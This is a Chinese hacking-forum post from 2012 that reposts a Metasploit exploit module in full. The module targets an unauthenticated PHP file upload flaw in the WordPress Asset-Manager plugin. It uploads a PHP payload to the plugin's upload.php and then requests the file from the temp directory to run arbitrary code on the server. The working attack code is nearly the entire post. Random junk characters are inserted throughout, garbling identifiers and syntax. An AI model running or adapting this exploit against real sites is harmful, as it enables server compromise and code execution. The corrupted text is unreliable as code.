找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2278|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
" a" [/ V, Y7 @8 T$ v- y- Y8 F% s5 y. x. g/ X) s! D2 T  \4 ?
##2 I8 M0 b! |# K5 b* i; J
# This file is part of the Metasploit Framework and may be subject to
4 b- n8 \8 ?6 j, R# redistribution and commercial restrictions. Please see the Metasploit
. a, D) i- L  G& K" ]# Framework web site for more information on licensing and terms of use., Z0 ?! k: T* D+ u) p
#   http://metasploit.com/framework/
3 V7 U2 h0 q; D. l! i##
/ g9 {. T$ u5 a, m2 x( g; i1 a# S / y9 S( S, B7 H& J
require 'msf/core'0 m% j. f+ d& P( ^3 l5 i9 \
require 'msf/core/exploit/php_exe'
  f1 Z: E2 k# f) L " Q0 e, I0 ^$ H* H; ]
class Metasploit3 < Msf::Exploit::Remote, }& w2 ]0 Z' Z+ W2 x! R
  Rank = ExcellentRanking
$ [9 c5 y( P5 |' [. V " G/ d: l' v% }: M1 Y
  include Msf::Exploit::Remote::HttpClient* E4 f0 ^) X* B" w3 l% P
  include Msf::Exploit:hpEXE* N/ [$ C, e6 ?: _

) V. z/ h$ Z) P* x4 d) K+ K/ Z  def initialize(info = {})
( f8 o# \+ `' R5 s& ?( e    super(update_info(info,, K' S1 @0 n- H& n
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
9 R  [$ H* d5 {, Z5 ~" i      'Description'    => %q{
' S9 s$ v% W3 r' Y* A        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress4 J+ Z( n' O9 u5 i4 D
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a2 Q, J# Y3 X6 p3 m% d% D/ z
        temp directory without authentication, which results in arbitrary code execution.
7 u1 d" M7 }6 V+ g0 f3 t. U3 a      },6 y; q5 c* _0 k; _
      'Author'         =>% X( s! E1 \& X/ Q
        [/ x. K  J9 |" U: A
          'Sammy FORGIT', # initial discovery
+ H& S! R9 I- R$ w          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
0 G+ X; C$ i9 a. b$ B' K3 e        ],
+ ^6 m5 {  [! G$ V' t# H      'License'        => MSF_LICENSE,
- J3 I$ W  w' e      'References'     =>
. A1 J' b- I1 I        [& w; J4 _9 G6 D* p$ h" \5 N; u' p
          [ 'OSVDB', '82653' ],
' n) h% _- v. z# t          [ 'BID', '53809' ],
& h% t7 s) z5 s- ^          [ 'EDB', '18993' ],- L' Y5 \$ z. r; E' y/ Y
          [ 'URL', 'http:// www.myhack58.com /' ]$ U- O: _( I2 f# q" z+ f
        ],! t# c- U  v) u+ E8 l
      'Payload'       =># H" R& d2 g/ ?* h1 Y( o
        {
) [" b( V- [# O          'BadChars' => "\x00",
* F" N, K9 U! R8 \        },* }2 ?5 v, ?1 U4 t0 y
      'Platform'       => 'php',
' Z1 r2 A( e8 T* H9 Q5 H      'Arch'           => ARCH_PHP,
$ G9 n0 L. n# V! O; e3 o, G      'Targets'        =>
% e9 T. W3 W) w0 l9 `        [! d! K5 a) }! ?9 A2 x
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],  Y' s6 R  Z( A6 K4 K8 R: G
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]+ A6 C* Y# A6 E% N1 e
        ],( S4 ^1 ^( p5 C$ u) e& ~6 x) y- L
      'DefaultTarget' => 0,
6 {2 X  c4 U5 z9 w% ]# o      'DisclosureDate' => 'May 26 2012'))
0 N; V% x# z5 v7 k* o7 P0 {
, d4 P8 V, t4 E5 v  ~$ l% \; J    register_options() F1 H3 s) K8 L, P
      [% N1 F/ b) z# X7 p# ]" N
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
: m& ?4 e* }1 ~+ \6 K+ d      ], self.class)
: q, w2 k: z4 u$ i7 {* w! j( s  end8 E& L& A1 q4 b8 o/ v. H) D/ T; w2 {# U
" P! g" @+ E2 J" K* R/ I. t
  def exploit
+ G- h; ]/ ?& c    uri =  target_uri.path
, d- v$ V- _7 k4 `# g2 o    uri << '/' if uri[-1,1] != '/'
1 P# y, {) c. T9 C    peer = "#{rhost}:#{rport}"
& O; K4 h0 D! n# T& e$ \9 \; }+ w    payload_name = "#{rand_text_alpha(5)}.php"6 w7 {0 e  l; o) h. O/ g( M' k# _6 q
    php_payload = get_write_exec_payload(:unlink_self=>true)9 J8 O; ^' r0 G( E$ v
9 _3 {$ e' e- P* p3 L8 ~
    data = Rex::MIME::Message.new' B; s" J( K( ~% u5 s( y0 g
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
/ O. g) z. h; f5 Z+ b8 q* ?) O    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
- Y# n' {0 s$ ?6 K2 r. f/ k+ R& q; c   {# ~: q" F' H5 A/ w6 O- ?
    print_status("#{peer} - Uploading payload #{payload_name}"), j* Z9 o' j& I/ c* ?8 J
    res = send_request_cgi({7 x! K1 I. e; Y% z% T+ J
      'method'  => 'POST',# ^7 \8 m4 e7 V* B6 u. p
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",6 m9 ]( \+ z) [
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",. m8 J( G0 {2 e7 u
      'data'    => post_data  V$ m0 i- D; \( |. |" X% N8 o
    })
' z0 o- h9 ]! p, U+ C( {( F
1 a3 O+ l. `9 p' [( ]0 w1 W    if not res or res.code != 200 or res.body !~ /#{payload_name}/9 u: ?9 B( U; ~( [
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")1 r# K! u* w2 k1 w. X6 S- V
end+ \3 t9 Y8 j  \; [. U0 A

4 w7 a  i7 w3 T    print_status("#{peer} - Executing payload #{payload_name}")
  |* d4 l4 J( W0 X$ A    res = send_request_raw({
2 e% s% O: @5 o0 J& x' G7 x      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
, j$ h. v; f. N+ x6 w1 N      'method'  => 'GET'- |3 ?- }0 c; k% y
    })0 t: v& ]6 A" i6 m' ~5 o
7 S6 K/ ^- c6 ^
    if res and res.code != 200  s$ _) k# Q. E# ~2 y* \* T
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed"). q* F! U$ K! s) ~
    end
$ n, w3 l6 Z5 ], r6 F  end0 V& b; L6 x  l6 e9 d; ?  v
end. r: d+ C9 \4 Z1 g: I" `0 G; j/ \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表